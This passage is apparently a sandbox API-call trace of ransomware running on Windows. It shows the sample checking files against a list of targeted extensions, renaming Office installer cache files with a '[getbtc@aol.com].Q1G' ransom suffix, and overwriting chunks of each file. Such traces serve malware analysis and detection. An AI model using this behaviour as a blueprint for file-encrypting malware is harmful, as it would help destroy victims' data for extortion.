lpFileSize=0x328ff1c*=70361744) returned 1 [0036.831] CloseHandle (hObject=0x1a8) returned 1 [0036.831] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0036.831] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.831] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0036.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.856] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.856] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.856] ReadFile (in: hFile=0x1a8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.866] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.866] ReadFile (in: hFile=0x1a8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.982] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.982] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.982] ReadFile (in: hFile=0x1a8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.010] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.010] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0037.318] SetEndOfFile (hFile=0x1a8) returned 1 [0037.318] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa50c0 [0037.322] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.322] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.322] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.322] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.323] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.323] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.325] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa50c0 | out: hHeap=0x510000) returned 1 [0037.325] CloseHandle (hObject=0x1a8) returned 1 [0040.833] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0040.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.833] lstrlenW (lpString=".doc") returned 4 [0040.833] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.833] lstrlenW (lpString=".docx") returned 5 [0040.833] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.833] lstrlenW (lpString=".pdf") returned 4 [0040.833] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.833] lstrlenW (lpString=".xls") returned 4 [0040.833] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.833] lstrlenW (lpString=".xlsx") returned 5 [0040.833] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.833] lstrlenW (lpString=".ppt") returned 4 [0040.833] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.833] lstrlenW (lpString=".zip") returned 4 [0040.833] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.833] lstrlenW (lpString=".rar") returned 4 [0040.833] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.833] lstrlenW (lpString=".bz2") returned 4 [0040.833] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.833] lstrlenW (lpString=".7z") returned 3 [0040.834] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.834] lstrlenW (lpString=".dbf") returned 4 [0040.834] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.834] lstrlenW (lpString=".1cd") returned 4 [0040.834] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.834] lstrlenW (lpString=".jpg") returned 4 [0040.834] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.834] lstrlenW (lpString=".doc") returned 4 [0040.834] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.834] lstrlenW (lpString=".docx") returned 5 [0040.834] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.834] lstrlenW (lpString=".pdf") returned 4 [0040.834] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.834] lstrlenW (lpString=".xls") returned 4 [0040.834] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.834] lstrlenW (lpString=".xlsx") returned 5 [0040.834] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.834] lstrlenW (lpString=".ppt") returned 4 [0040.834] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.834] lstrlenW (lpString=".zip") returned 4 [0040.834] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.834] lstrlenW (lpString=".rar") returned 4 [0040.834] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.834] lstrlenW (lpString=".bz2") returned 4 [0040.834] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.834] lstrlenW (lpString=".7z") returned 3 [0040.834] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.835] lstrlenW (lpString=".dbf") returned 4 [0040.835] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.835] lstrlenW (lpString=".1cd") returned 4 [0040.835] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.835] lstrlenW (lpString=".jpg") returned 4 [0040.835] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.835] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0040.835] lstrlenW (lpString="WordLR.cab") returned 10 [0040.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0040.835] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=43806141) returned 1 [0040.835] CloseHandle (hObject=0x1f8) returned 1 [0040.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0040.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0040.836] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0040.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0040.836] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.836] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.836] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.875] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.875] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.991] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.991] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.991] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.007] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.007] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0041.302] SetEndOfFile (hFile=0x1f8) returned 1 [0041.302] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f10070 [0041.302] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.302] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.303] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.303] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.306] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.306] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f10070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f10070*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.308] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f10070 | out: hHeap=0x510000) returned 1 [0041.308] CloseHandle (hObject=0x1f8) returned 1 [0043.316] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0043.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.317] lstrlenW (lpString=".doc") returned 4 [0043.317] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.317] lstrlenW (lpString=".docx") returned 5 [0043.317] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.317] lstrlenW (lpString=".pdf") returned 4 [0043.317] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.317] lstrlenW (lpString=".xls") returned 4 [0043.317] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.317] lstrlenW (lpString=".xlsx") returned 5 [0043.317] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.317] lstrlenW (lpString=".ppt") returned 4 [0043.317] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.317] lstrlenW (lpString=".zip") returned 4 [0043.317] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.317] lstrlenW (lpString=".rar") returned 4 [0043.317] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.317] lstrlenW (lpString=".bz2") returned 4 [0043.317] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.317] lstrlenW (lpString=".7z") returned 3 [0043.317] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.317] lstrlenW (lpString=".dbf") returned 4 [0043.317] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.317] lstrlenW (lpString=".1cd") returned 4 [0043.317] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.317] lstrlenW (lpString=".jpg") returned 4 [0043.317] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.318] lstrlenW (lpString=".doc") returned 4 [0043.318] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.318] lstrlenW (lpString=".docx") returned 5 [0043.318] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.318] lstrlenW (lpString=".pdf") returned 4 [0043.318] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.318] lstrlenW (lpString=".xls") returned 4 [0043.318] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.318] lstrlenW (lpString=".xlsx") returned 5 [0043.318] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.318] lstrlenW (lpString=".ppt") returned 4 [0043.318] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.318] lstrlenW (lpString=".zip") returned 4 [0043.318] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.318] lstrlenW (lpString=".rar") returned 4 [0043.318] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.318] lstrlenW (lpString=".bz2") returned 4 [0043.318] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.318] lstrlenW (lpString=".7z") returned 3 [0043.318] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.318] lstrlenW (lpString=".dbf") returned 4 [0043.318] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.318] lstrlenW (lpString=".1cd") returned 4 [0043.318] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0043.318] lstrlenW (lpString=".jpg") returned 4 [0043.318] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.318] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0043.319] lstrlenW (lpString="Proof.cab") returned 9 [0043.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0043.319] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=21064532) returned 1 [0043.319] CloseHandle (hObject=0x1f8) returned 1 [0043.319] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0043.319] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.319] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0043.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0043.320] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.320] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.320] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.451] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.451] ReadFile (in: hFile=0x1f8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.454] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.454] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.454] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.470] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.470] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0043.641] SetEndOfFile (hFile=0x1f8) returned 1 [0043.641] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0043.644] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.645] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.758] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.758] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.759] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: 